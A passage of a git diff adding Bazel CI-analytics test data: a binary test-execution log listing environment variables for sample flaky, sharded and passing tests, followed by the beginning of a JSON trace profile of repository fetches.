+TEST_LOGSPLITTER_OUTPUT_FILELbazel-out/k8-fastbuild/testlogs/flaky_test/test.raw_splitlogs/test.splitlogs + TEST_NAME //:flaky_test^ +TEST_PREMATURE_EXIT_FILEBbazel-out/k8-fastbuild/testlogs/flaky_test/test.exited_prematurely +TEST_SHARD_INDEX0 + TEST_SIZEmedium= + TEST_SRCDIR.bazel-out/k8-fastbuild/bin/flaky_test.runfiles + TEST_TARGET //:flaky_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/d778484882c0bff6932e3335e6656a87 +TEST_TOTAL_SHARDS0s +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONSLbazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/ANNOTATIONSk +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIR@bazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifestV +TEST_UNDECLARED_OUTPUTS_DIR7bazel-out/k8-fastbuild/testlogs/flaky_test/test.outputsm + TEST_UNDECLARED_OUTPUTS_MANIFESTIbazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/MANIFESTd +TEST_UNUSED_RUNFILES_LOG_FILECbazel-out/k8-fastbuild/testlogs/flaky_test/test.unused_runfiles_logU +TEST_WARNINGS_OUTPUT_FILE8bazel-out/k8-fastbuild/testlogs/flaky_test/test.warnings +TEST_WORKSPACE_main +TZUTCF +XML_OUTPUT_FILE3bazel-out/k8-fastbuild/testlogs/flaky_test/test.xml :2(;: //:flaky_testB +TestRunnerZprocesswrapper-sandboxhpx’# +€ì¸ B€ì¸ ¢ ïú—ÖÀ¦íÿ¨€àÃ�<‹ +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.logE +@a4c005ec9ab13f0352b62aa089b2ac3fdf04422c5aa1b296137fdf4aa082aeffŸ=2*'<�>‹ +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.xmlE +@cfe77d8780f07a6b93e2e76bb0806c9b5ec880e414605d03c0a9b92c7d0c57abšñ:î +/external/bazel_tools/tools/test/generate-xml.sh +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.log +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.xml +0 +0A + JAVA_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/binC +PYTHON_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles@ + RUNFILES_DIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY./sharded_testy + TEST_INFRASTRUCTURE_FAILURE_FILEUbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.infrastructure_failure{ +TEST_LOGSPLITTER_OUTPUT_FILE[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.raw_splitlogs/test.splitlogs+ + TEST_NAME//:sharded_test (shard 3 of 3)m +TEST_PREMATURE_EXIT_FILEQbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.exited_prematurely +TEST_SHARD_INDEX2^ +TEST_SHARD_STATUS_FILEDbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.shard + TEST_SIZEmedium? + TEST_SRCDIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles + TEST_TARGET//:sharded_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/c0c31cf43ef7d650f7ec6ed08aec4b02 +TEST_TOTAL_SHARDS3‚ +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONS[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/ANNOTATIONSz +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIRObazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifeste +TEST_UNDECLARED_OUTPUTS_DIRFbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs| + TEST_UNDECLARED_OUTPUTS_MANIFESTXbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/MANIFESTs +TEST_UNUSED_RUNFILES_LOG_FILERbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.unused_runfiles_logd +TEST_WARNINGS_OUTPUT_FILEGbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.warnings +TEST_WORKSPACE_main +TZUTCU +XML_OUTPUT_FILEBbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.xml =2(>://:sharded_testB +TestRunnerZprocesswrapper-sandboxhpx’# +À‚ê BÀ‚ê ¢ ïú—ÖÀ¦íÿ¨€€Ã�?‹ +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.logE +@a4c005ec9ab13f0352b62aa089b2ac3fdf04422c5aa1b296137fdf4aa082aeffŸ@2*'?�A‹ +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.xmlE +@8faa6c3e54a5d33b706bdd2917bf93f8e6522082b78cf016f23cc398558a7980šñ:î +/external/bazel_tools/tools/test/generate-xml.sh +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.log +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.xml +0 +0A + JAVA_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/binC +PYTHON_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles@ + RUNFILES_DIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY./sharded_testy + TEST_INFRASTRUCTURE_FAILURE_FILEUbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.infrastructure_failure{ +TEST_LOGSPLITTER_OUTPUT_FILE[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.raw_splitlogs/test.splitlogs+ + TEST_NAME//:sharded_test (shard 2 of 3)m +TEST_PREMATURE_EXIT_FILEQbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.exited_prematurely +TEST_SHARD_INDEX1^ +TEST_SHARD_STATUS_FILEDbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.shard + TEST_SIZEmedium? + TEST_SRCDIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles + TEST_TARGET//:sharded_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/1615829df1fa3563387e50506a1f6692 +TEST_TOTAL_SHARDS3‚ +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONS[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/ANNOTATIONSz +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIRObazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifeste +TEST_UNDECLARED_OUTPUTS_DIRFbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs| + TEST_UNDECLARED_OUTPUTS_MANIFESTXbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/MANIFESTs +TEST_UNUSED_RUNFILES_LOG_FILERbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.unused_runfiles_logd +TEST_WARNINGS_OUTPUT_FILEGbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.warnings +TEST_WORKSPACE_main +TZUTCU +XML_OUTPUT_FILEBbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.xml @2(A://:sharded_testB +TestRunnerZprocesswrapper-sandboxhpx’# +€‡§B€‡§¢ ïú—ÖÀ¦íÿ¨€€ÁB{ +2bazel-out/k8-fastbuild/testlogs/pass_test/test.logE +@c4d97ed7504f0d4c742f57c5c7014ef33de0b8b077e90765a330ab231c2b09e5œC2*'BD{ +2bazel-out/k8-fastbuild/testlogs/pass_test/test.xmlE +@e69b20191cc399c99510a46ad7322a20bd7fe10c2ac70a01c4e73bf5ad48969cý©:¦ +/external/bazel_tools/tools/test/generate-xml.sh +2bazel-out/k8-fastbuild/testlogs/pass_test/test.log +2bazel-out/k8-fastbuild/testlogs/pass_test/test.xml +0 +0> + JAVA_RUNFILES-bazel-out/k8-fastbuild/bin/pass_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/bin@ +PYTHON_RUNFILES-bazel-out/k8-fastbuild/bin/pass_test.runfiles= + RUNFILES_DIR-bazel-out/k8-fastbuild/bin/pass_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY ./pass_testi + TEST_INFRASTRUCTURE_FAILURE_FILEEbazel-out/k8-fastbuild/testlogs/pass_test/test.infrastructure_failurek +TEST_LOGSPLITTER_OUTPUT_FILEKbazel-out/k8-fastbuild/testlogs/pass_test/test.raw_splitlogs/test.splitlogs + TEST_NAME //:pass_test] +TEST_PREMATURE_EXIT_FILEAbazel-out/k8-fastbuild/testlogs/pass_test/test.exited_prematurely +TEST_SHARD_INDEX0 + TEST_SIZEmedium< + TEST_SRCDIR-bazel-out/k8-fastbuild/bin/pass_test.runfiles + TEST_TARGET //:pass_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/bbb994006a201e70ea51a76491bba66b +TEST_TOTAL_SHARDS0r +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONSKbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/ANNOTATIONSj +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIR?bazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifestU +TEST_UNDECLARED_OUTPUTS_DIR6bazel-out/k8-fastbuild/testlogs/pass_test/test.outputsl + TEST_UNDECLARED_OUTPUTS_MANIFESTHbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/MANIFESTc +TEST_UNUSED_RUNFILES_LOG_FILEBbazel-out/k8-fastbuild/testlogs/pass_test/test.unused_runfiles_logT +TEST_WARNINGS_OUTPUT_FILE7bazel-out/k8-fastbuild/testlogs/pass_test/test.warnings +TEST_WORKSPACE_main +TZUTCE +XML_OUTPUT_FILE2bazel-out/k8-fastbuild/testlogs/pass_test/test.xml C2(D: //:pass_testB +TestRunnerZprocesswrapper-sandboxhpx’# +À‹äBÀ‹ä¢ ïú—ÖÀ¦íÿ¨€ÀÃ�E‹ +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.logE +@a4c005ec9ab13f0352b62aa089b2ac3fdf04422c5aa1b296137fdf4aa082aeffŸF2*'E�G‹ +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.xmlE +@da3be6ada8aa77a9ec8381222bb8358fcd7300c46bc8318e05b7cd792a471f60šñ:î +/external/bazel_tools/tools/test/generate-xml.sh +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.log +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.xml +0 +0A + JAVA_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/binC +PYTHON_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles@ + RUNFILES_DIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY./sharded_testy + TEST_INFRASTRUCTURE_FAILURE_FILEUbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.infrastructure_failure{ +TEST_LOGSPLITTER_OUTPUT_FILE[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.raw_splitlogs/test.splitlogs+ + TEST_NAME//:sharded_test (shard 1 of 3)m +TEST_PREMATURE_EXIT_FILEQbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.exited_prematurely +TEST_SHARD_INDEX0^ +TEST_SHARD_STATUS_FILEDbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.shard + TEST_SIZEmedium? + TEST_SRCDIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles + TEST_TARGET//:sharded_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/baf5a5c95a10bc1fd7a56eb5c8e0a05a +TEST_TOTAL_SHARDS3‚ +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONS[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/ANNOTATIONSz +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIRObazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifeste +TEST_UNDECLARED_OUTPUTS_DIRFbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs| + TEST_UNDECLARED_OUTPUTS_MANIFESTXbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/MANIFESTs +TEST_UNUSED_RUNFILES_LOG_FILERbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.unused_runfiles_logd +TEST_WARNINGS_OUTPUT_FILEGbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.warnings +TEST_WORKSPACE_main +TZUTCU +XML_OUTPUT_FILEBbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.xml F2(G://:sharded_testB +TestRunnerZprocesswrapper-sandboxhpx’# +€�¡B€�¡¢ ïú—ÖÀ¸á�¨€àà \ No newline at end of file diff --git a/tools/bazel/testdata/ci_analytics/real/cold-profile.json b/tools/bazel/testdata/ci_analytics/real/cold-profile.json new file mode 100644 index 000000000..96a1649ed --- /dev/null +++ b/tools/bazel/testdata/ci_analytics/real/cold-profile.json @@ -0,0 +1,170 @@ +{"traceEvents":[ +{"cat": "Fetching repository", "name": "@@bazel_tools", "ph": "X", "ts": 658997, "dur": 1250, "pid": 1, "tid": 172}, +{"cat": "Fetching repository", "name": "@@bazel_tools", "ph": "X", "ts": 660759, "dur": 1022, "pid": 1, "tid": 172}, +{"cat": "Fetching repository", "name": "@@bazel_tools", "ph": "X", "ts": 662835, "dur": 371, "pid": 1, "tid": 172}, +{"cat": "Fetching repository", "name": "@@rules_cc+", "ph": "X", "ts": 3904359, "dur": 32, "pid": 1, "tid": 316}, +{"cat": "Fetching repository", "name": "@@rules_cc+", "ph": "X", "ts": 3953422, "dur": 10926, "pid": 1, "tid": 316}, +{"cat": "Fetching repository", "name": "@@rules_cc+", "ph": "X", "ts": 3964567, "dur": 536104, "pid": 1, "tid": 316}, +{"cat": "Fetching repository", "name": "@@rules_cc+", "ph": "X", "ts": 4501714, "dur": 461, "pid": 1, "tid": 316}, +{"cat": "Fetching repository", "name": "@@rules_cc++compatibility_proxy+cc_compatibility_proxy", "ph": "X", "ts": 4515525, "dur": 24, "pid": 1, "tid": 327}, +{"cat": "Fetching repository", "name": "@@bazel_features+", "ph": "X", "ts": 4529433, "dur": 37, "pid": 1, "tid": 269}, +{"cat": "Fetching repository", "name": "@@bazel_features+", "ph": "X", "ts": 4530239, "dur": 111971, "pid": 1, "tid": 269}, +{"cat": "Fetching repository", "name": "@@bazel_features+", "ph": "X", "ts": 4643081, "dur": 286, "pid": 1, "tid": 269}, +{"cat": "Fetching repository", "name": "@@bazel_features++version_extension+bazel_features_globals", "ph": "X", "ts": 4648893, "dur": 19, "pid": 1, "tid": 290}, +{"cat": "Fetching repository", "name": "@@bazel_features++version_extension+bazel_features_version", "ph": "X", "ts": 4649521, "dur": 14, "pid": 1, "tid": 280}, +{"cat": "Fetching repository", "name": "@@bazel_skylib+", "ph": "X", "ts": 4651025, "dur": 16, "pid": 1, "tid": 324}, +{"cat": "Fetching repository", "name": "@@bazel_skylib+", "ph": "X", "ts": 4651819, "dur": 171321, "pid": 1, "tid": 324}, +{"cat": "Fetching repository", "name": "@@bazel_skylib+", "ph": "X", "ts": 4823901, "dur": 258, "pid": 1, "tid": 324}, +{"cat": "Fetching repository", "name": "@@bazel_features++version_extension+bazel_features_version", "ph": "X", "ts": 4869764, "dur": 6204, "pid": 1, "tid": 324}, +{"cat": "Fetching repository", "name": "@@bazel_features++version_extension+bazel_features_globals", "ph": "X", "ts": 4869967, "dur": 16837, "pid": 1, "tid": 280}, +{"cat": "Fetching repository", "name": "@@rules_cc++compatibility_proxy+cc_compatibility_proxy", "ph": "X", "ts": 4901925, "dur": 2388, "pid": 1, "tid": 269}, +{"cat": "Fetching repository", "name": "@@protobuf+", "ph": "X", "ts": 4922218, "dur": 18, "pid": 1, "tid": 425}, +{"cat": "Fetching repository", "name": "@@protobuf+", "ph": "X", "ts": 4923661, "dur": 848913, "pid": 1, "tid": 425}, +{"cat": "Fetching repository", "name": "@@protobuf+", "ph": "X", "ts": 5772986, "dur": 211, "pid": 1, "tid": 425}, +{"cat": "Fetching repository", "name": "@@platforms", "ph": "X", "ts": 6054930, "dur": 13, "pid": 1, "tid": 461}, +{"cat": "Fetching repository", "name": "@@platforms", "ph": "X", "ts": 6055425, "dur": 41544, "pid": 1, "tid": 461}, +{"cat": "Fetching repository", "name": "@@platforms", "ph": "X", "ts": 6097222, "dur": 159, "pid": 1, "tid": 461}, +{"cat": "Fetching repository", "name": "@@platforms+host_platform+host_platform", "ph": "X", "ts": 6101665, "dur": 23, "pid": 1, "tid": 463}, +{"cat": "Fetching repository", "name": "@@platforms+host_platform+host_platform", "ph": "X", "ts": 6105780, "dur": 2496, "pid": 1, "tid": 463}, +{"cat": "Fetching repository", "name": "@@rules_swift++non_module_deps+build_bazel_rules_swift_local_config", "ph": "X", "ts": 6414717, "dur": 19, "pid": 1, "tid": 666}, +{"cat": "Fetching repository", "name": "@@rules_swift+", "ph": "X", "ts": 6415310, "dur": 11, "pid": 1, "tid": 666}, +{"cat": "Fetching repository", "name": "@@bazel_tools+winsdk_configure+local_config_winsdk", "ph": "X", "ts": 6417309, "dur": 27, "pid": 1, "tid": 698}, +{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc_toolchains", "ph": "X", "ts": 6418768, "dur": 29, "pid": 1, "tid": 681}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+local_jdk", "ph": "X", "ts": 6426581, "dur": 23, "pid": 1, "tid": 717}, +{"cat": "Fetching repository", "name": "@@rules_java+", "ph": "X", "ts": 6428070, "dur": 19, "pid": 1, "tid": 697}, +{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc_toolchains", "ph": "X", "ts": 6434044, "dur": 271, "pid": 1, "tid": 807}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_linux_toolchain_config_repo", "ph": "X", "ts": 6435224, "dur": 21, "pid": 1, "tid": 746}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_macos_toolchain_config_repo", "ph": "X", "ts": 6436035, "dur": 25, "pid": 1, "tid": 748}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_linux_aarch64_toolchain_config_repo", "ph": "X", "ts": 6436767, "dur": 20, "pid": 1, "tid": 752}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_linux_s390x_toolchain_config_repo", "ph": "X", "ts": 6437255, "dur": 25, "pid": 1, "tid": 832}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_linux_aarch64_toolchain_config_repo", "ph": "X", "ts": 6438672, "dur": 36, "pid": 1, "tid": 715}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_linux_toolchain_config_repo", "ph": "X", "ts": 6439596, "dur": 23, "pid": 1, "tid": 682}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_windows_toolchain_config_repo", "ph": "X", "ts": 6439942, "dur": 20, "pid": 1, "tid": 763}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_macos_aarch64_toolchain_config_repo", "ph": "X", "ts": 6440519, "dur": 19, "pid": 1, "tid": 759}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_linux_toolchain_config_repo", "ph": "X", "ts": 6440736, "dur": 17, "pid": 1, "tid": 683}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_linux_ppc64le_toolchain_config_repo", "ph": "X", "ts": 6442806, "dur": 16, "pid": 1, "tid": 772}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_linux_s390x_toolchain_config_repo", "ph": "X", "ts": 6442996, "dur": 5, "pid": 1, "tid": 772}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_win_toolchain_config_repo", "ph": "X", "ts": 6443159, "dur": 5, "pid": 1, "tid": 772}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_linux_toolchain_config_repo", "ph": "X", "ts": 6443317, "dur": 4, "pid": 1, "tid": 772}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_win_arm64_toolchain_config_repo", "ph": "X", "ts": 6443305, "dur": 21, "pid": 1, "tid": 722}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_linux_aarch64_toolchain_config_repo", "ph": "X", "ts": 6443518, "dur": 5, "pid": 1, "tid": 772}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_macos_aarch64_toolchain_config_repo", "ph": "X", "ts": 6443604, "dur": 24, "pid": 1, "tid": 696}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_linux_riscv64_toolchain_config_repo", "ph": "X", "ts": 6443760, "dur": 6, "pid": 1, "tid": 772}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_linux_ppc64le_toolchain_config_repo", "ph": "X", "ts": 6443771, "dur": 12, "pid": 1, "tid": 722}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_macos_toolchain_config_repo", "ph": "X", "ts": 6443908, "dur": 7, "pid": 1, "tid": 772}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_linux_s390x_toolchain_config_repo", "ph": "X", "ts": 6444086, "dur": 12, "pid": 1, "tid": 696}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_macos_aarch64_toolchain_config_repo", "ph": "X", "ts": 6444184, "dur": 10, "pid": 1, "tid": 722}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_win_toolchain_config_repo", "ph": "X", "ts": 6444205, "dur": 9, "pid": 1, "tid": 772}, +{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc_toolchains", "ph": "X", "ts": 6438398, "dur": 6035, "pid": 1, "tid": 838}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_linux_toolchain_config_repo", "ph": "X", "ts": 6445238, "dur": 9, "pid": 1, "tid": 778}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_win_arm64_toolchain_config_repo", "ph": "X", "ts": 6445226, "dur": 16, "pid": 1, "tid": 685}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_macos_toolchain_config_repo", "ph": "X", "ts": 6445226, "dur": 16, "pid": 1, "tid": 777}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_linux_aarch64_toolchain_config_repo", "ph": "X", "ts": 6445315, "dur": 12, "pid": 1, "tid": 700}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_macos_toolchain_config_repo", "ph": "X", "ts": 6445593, "dur": 11, "pid": 1, "tid": 723}, +{"cat": "Fetching repository", "name": "@@rules_python++python+pythons_hub", "ph": "X", "ts": 6445625, "dur": 12, "pid": 1, "tid": 772}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_macos_aarch64_toolchain_config_repo", "ph": "X", "ts": 6445624, "dur": 14, "pid": 1, "tid": 696}, +{"cat": "Fetching repository", "name": "@@apple_support++apple_cc_configure_extension+local_config_apple_cc_toolchains", "ph": "X", "ts": 6445646, "dur": 7, "pid": 1, "tid": 777}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_win_arm64_toolchain_config_repo", "ph": "X", "ts": 6445668, "dur": 13, "pid": 1, "tid": 778}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_win_toolchain_config_repo", "ph": "X", "ts": 6445685, "dur": 11, "pid": 1, "tid": 722}, +{"cat": "Fetching repository", "name": "@@rules_python++uv+uv", "ph": "X", "ts": 6445761, "dur": 7, "pid": 1, "tid": 685}, +{"cat": "Fetching repository", "name": "@@rules_kotlin+", "ph": "X", "ts": 6445765, "dur": 7, "pid": 1, "tid": 700}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_win_toolchain_config_repo", "ph": "X", "ts": 6445728, "dur": 22, "pid": 1, "tid": 724}, +{"cat": "Fetching repository", "name": "@@rules_shell++sh_configure+local_config_shell", "ph": "X", "ts": 6445786, "dur": 25, "pid": 1, "tid": 780}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_win_arm64_toolchain_config_repo", "ph": "X", "ts": 6446119, "dur": 13, "pid": 1, "tid": 782}, +{"cat": "Fetching repository", "name": "@@rules_shell+", "ph": "X", "ts": 6446992, "dur": 12, "pid": 1, "tid": 727}, +{"cat": "Fetching repository", "name": "@@rules_python+", "ph": "X", "ts": 6447080, "dur": 14, "pid": 1, "tid": 773}, +{"cat": "Fetching repository", "name": "@@apple_support+", "ph": "X", "ts": 6447500, "dur": 10, "pid": 1, "tid": 779}, +{"cat": "Fetching repository", "name": "@@bazel_tools+winsdk_configure+local_config_winsdk", "ph": "X", "ts": 6451198, "dur": 356, "pid": 1, "tid": 703}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_linux_aarch64_toolchain_config_repo", "ph": "X", "ts": 6456645, "dur": 18, "pid": 1, "tid": 706}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_linux_ppc64le_toolchain_config_repo", "ph": "X", "ts": 6458223, "dur": 12, "pid": 1, "tid": 689}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_linux_s390x_toolchain_config_repo", "ph": "X", "ts": 6460249, "dur": 13, "pid": 1, "tid": 747}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_macos_toolchain_config_repo", "ph": "X", "ts": 6467768, "dur": 21, "pid": 1, "tid": 845}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_macos_aarch64_toolchain_config_repo", "ph": "X", "ts": 6470984, "dur": 21, "pid": 1, "tid": 765}, +{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc_toolchains", "ph": "X", "ts": 6445781, "dur": 31777, "pid": 1, "tid": 838}, +{"cat": "Fetching repository", "name": "@@bazel_tools+winsdk_configure+local_config_winsdk", "ph": "X", "ts": 6451781, "dur": 26346, "pid": 1, "tid": 734}, +{"cat": "Fetching repository", "name": "@@rules_java+", "ph": "X", "ts": 6436289, "dur": 112074, "pid": 1, "tid": 687}, +{"cat": "Fetching repository", "name": "@@rules_java+", "ph": "X", "ts": 6548753, "dur": 150, "pid": 1, "tid": 687}, +{"cat": "Fetching repository", "name": "@@rules_java++compatibility_proxy+compatibility_proxy", "ph": "X", "ts": 6558073, "dur": 15, "pid": 1, "tid": 731}, +{"cat": "Fetching repository", "name": "@@rules_java++compatibility_proxy+compatibility_proxy", "ph": "X", "ts": 6562917, "dur": 2676, "pid": 1, "tid": 770}, +{"cat": "Fetching repository", "name": "@@apple_support+", "ph": "X", "ts": 6447998, "dur": 173552, "pid": 1, "tid": 772}, +{"cat": "Fetching repository", "name": "@@apple_support+", "ph": "X", "ts": 6621865, "dur": 374, "pid": 1, "tid": 772}, +{"cat": "Fetching repository", "name": "@@rules_swift+", "ph": "X", "ts": 6416123, "dur": 208585, "pid": 1, "tid": 666}, +{"cat": "Fetching repository", "name": "@@rules_swift+", "ph": "X", "ts": 6624873, "dur": 537, "pid": 1, "tid": 666}, +{"cat": "Fetching repository", "name": "@@apple_support++apple_cc_configure_extension+local_config_apple_cc_toolchains", "ph": "X", "ts": 6633898, "dur": 156, "pid": 1, "tid": 694}, +{"cat": "Fetching repository", "name": "@@apple_support++apple_cc_configure_extension+local_config_apple_cc_toolchains", "ph": "X", "ts": 6634191, "dur": 3994, "pid": 1, "tid": 860}, +{"cat": "Fetching repository", "name": "@@apple_support++apple_cc_configure_extension+local_config_apple_cc_toolchains", "ph": "X", "ts": 6638675, "dur": 878, "pid": 1, "tid": 860}, +{"cat": "Fetching repository", "name": "@@rules_swift++non_module_deps+build_bazel_rules_swift_local_config", "ph": "X", "ts": 6639839, "dur": 275, "pid": 1, "tid": 666}, +{"cat": "Fetching repository", "name": "@@rules_swift++non_module_deps+build_bazel_rules_swift_local_config", "ph": "X", "ts": 6640214, "dur": 4287, "pid": 1, "tid": 860}, +{"cat": "Fetching repository", "name": "@@rules_shell+", "ph": "X", "ts": 6447498, "dur": 225173, "pid": 1, "tid": 782}, +{"cat": "Fetching repository", "name": "@@rules_shell+", "ph": "X", "ts": 6673022, "dur": 169, "pid": 1, "tid": 782}, +{"cat": "Fetching repository", "name": "@@rules_shell++sh_configure+local_config_shell", "ph": "X", "ts": 6679879, "dur": 199, "pid": 1, "tid": 772}, +{"cat": "Fetching repository", "name": "@@rules_shell++sh_configure+local_config_shell", "ph": "X", "ts": 6680241, "dur": 2662, "pid": 1, "tid": 772}, +{"cat": "Fetching repository", "name": 